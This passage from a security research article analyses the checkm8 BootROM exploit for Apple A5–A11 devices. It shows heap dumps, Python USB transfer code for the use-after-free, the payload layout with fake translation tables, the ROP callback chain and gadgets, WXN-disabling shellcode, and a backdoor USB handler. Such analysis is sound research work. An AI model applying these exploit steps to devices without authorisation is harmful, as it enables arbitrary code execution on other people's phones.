00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

You can also achieve an interesting effect by overflowing the configuration descriptors High Speed and Full Speed that are located right after the IO buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.

2. Allocation and freeing of the IO buffer without clearing the global state

 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

At this stage, an incomplete OUT request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer . Then, DFU is reset with a DFU_CLR_STATUS request, and a new iteration of DFU begins.

3. Overwriting usb_device_io_request in the heap with use-after-free

 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite , whose content was defined at the first stage.

The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.

t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io . This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.

 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next points to INSECURE_MEMORY + 0x800 . Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain , which we'll discuss later on.

4. Placing the payload

 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:

 0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. Execution of callback-chain

 dfu.usb_reset(device) dfu.release_device(device) 

After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:

 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x .

The entire call chain can be easily emulated with Unicorn Engine . We did it with our modified version of the plugin uEmu .

The results of the entire chain for iPhone 7 can be found below.

5.1. dc_civac 0x1800B0600

 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.

5.2. dmb

 0000000100000478: DMB SY 000000010000047C: RET 

A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.

5.3. enter_critical_section()

Then, interrupts are masked for the atomic execution of further operations.

5.4. write_ttbr0(0x1800B0000)

 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

A new value of the table register TTBR0_EL1 is set in 0x1800B0000 . It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:

 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi

 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

The translation table is invalidated in order to translate addresses according to our new translation table.

5.6। 0x1820B0610 - disable_wxn_arm64

 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.

5.7. write_ttbr0(0x1800A0000)

 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.

5.8. tlbi

The translation table is reset again.

5.9. exit_critical_section()

Interrupt handling is back to normal.

5.10. 0x1800B0000

Control is transferred to the initializing shellcode .

Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.

6. Execution of shellcode

The shellcode is in src/checkm8_arm64.S and does the following:

6.1. Overwriting USB configuration descriptors

In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.

6.2. Changing USBSerialNumber

A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.

6.3. Overwriting the pointer of the USB request handler

The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.

6.4. Copying USB request handler into TRAMPOLINE memory area ( 0x1800AFC00 )

Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy , memset , and exec (calling an arbitrary address with an arbitrary set of arguments).

Thus, the analysis of the exploit is complete.

The implementation of the exploit at a lower level of working with USB

As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield . The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield , all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.

In place of a conclusion

Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5 to A11 ) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch , Apple TV , etc. We expect more interesting projects for Apple devices to come.

Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8 , you can already boot iOS devices in verbose mode, dump SecureROM , or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8 , Apple research becomes way easier and cheaper.

References

1. Jonathan Levin, *OS Internals: iBoot
2. Apple, iOS Security Guide
3. littlelailo, apollo.txt
4. usb.org
5. USB in a NutShell
6. ipwndfu
7. an ipwndfu fork from LinusHenze